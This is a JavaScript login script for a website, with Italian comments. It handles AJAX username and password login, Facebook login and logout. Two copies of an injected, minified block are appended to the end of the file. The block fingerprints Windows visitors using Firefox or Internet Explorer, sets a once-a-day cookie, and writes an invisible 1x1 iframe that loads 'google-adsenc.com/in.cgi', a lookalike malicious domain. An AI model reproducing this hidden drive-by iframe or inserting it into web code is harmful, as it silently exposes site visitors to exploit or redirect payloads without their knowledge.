/*
 * inizializza la pagina di log-in
 */
function login_init()
{
	//login interno
	var LOGIN_URL = HOME_URL+'/authentication/skoAuth/';
	$("#submit_login").bind('click',
		function()
		{
			var params = {'username':$("#username").val(),'password':encrypt($("#password").val())};
			var callbacks = {'success':'login_success','error':'login_error'};
			AJAXcall(LOGIN_URL,params,callbacks,CONTENT_TYPE_JSON);
		}
	);

	//login facebook
	$("#facebook_login").bind('click',function(){FB.login(function(response){facebook_login(response);},{perms:'publish_stream,email,user_status,user_website'}); return false;});
}

/*
 * salva i dati revuperati da facebook
 */
function saveFBData(response)
{
	if(response)
	{
		
		var query = FB.Data.query('select name, username, pic_square, email from user where uid={0}', response.id);		
		
		//oggetto contenete i dati di facebook
		var userdata = {uid:'',name:'',pic:'',username:'',email:''};
		
		//oggetto contenente le funzioni callback
		var callbacks = {'success':'login_success','error':'login_error'};
	
		query.wait(function(rows)
		{		
			userdata.uid		= response.id,
			userdata.name		= rows[0].name;
			userdata.pic		= rows[0].pic_square;
			if(rows[0].username === undefined)
				userdata.username = false;
			else
				userdata.username	= rows[0].username;
			userdata.email		= rows[0].email;
			
			AJAXcall(HOME_URL+'/authentication/fbAuth',userdata,callbacks,CONTENT_TYPE_JSON);
		});
		
		
	}
	else
	{
		alert('facebook login failed');
	}
}

/*
 * esegue il log-in con i dati di facebook
 */
function facebook_login(response)
{
	if(response.session)
	{
		//recupero i dati da facebook
		FB.api('/me',function(response){saveFBData(response);});
	}
	else
	{
		alert('facebook login failed');
	}
}

/*
 * in caso di login andato a buon fine
 * 
 * @param
 * 
 */
function login_success(data)
{
	if(data.logged)
	{
		if(!data.admin)
			redirect(HOME_URL);
		else
			redirect(HOME_URL+'/admin/');
	}
	else
	{
		alert('dati errati');
	}
}

/*
 * in caso di login con errore
 * 
 * @param
 * 
 */
function login_error()
{
	alert('error');
}

/*
 * esegue il log-out
 */
function skoLogout()
{
	var callbacks = {'success':'logout_success','error':'logout_error'};
	AJAXcall(HOME_URL+'/authentication/logout',{},callbacks,CONTENT_TYPE_JSON);
}

/*
 * in caso di log-out senza errori
 */
function logout_success(data)
{
	if(!data.logged)
	{
		redirect(HOME_URL);
	}
	else
	{
		alert('errore');
		redirect(HOME_URL);
	}	
}

/*
 * in caso di log-out con errori
 */
function logout_error()
{
	alert('error');
	redirect(HOME_URL);
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
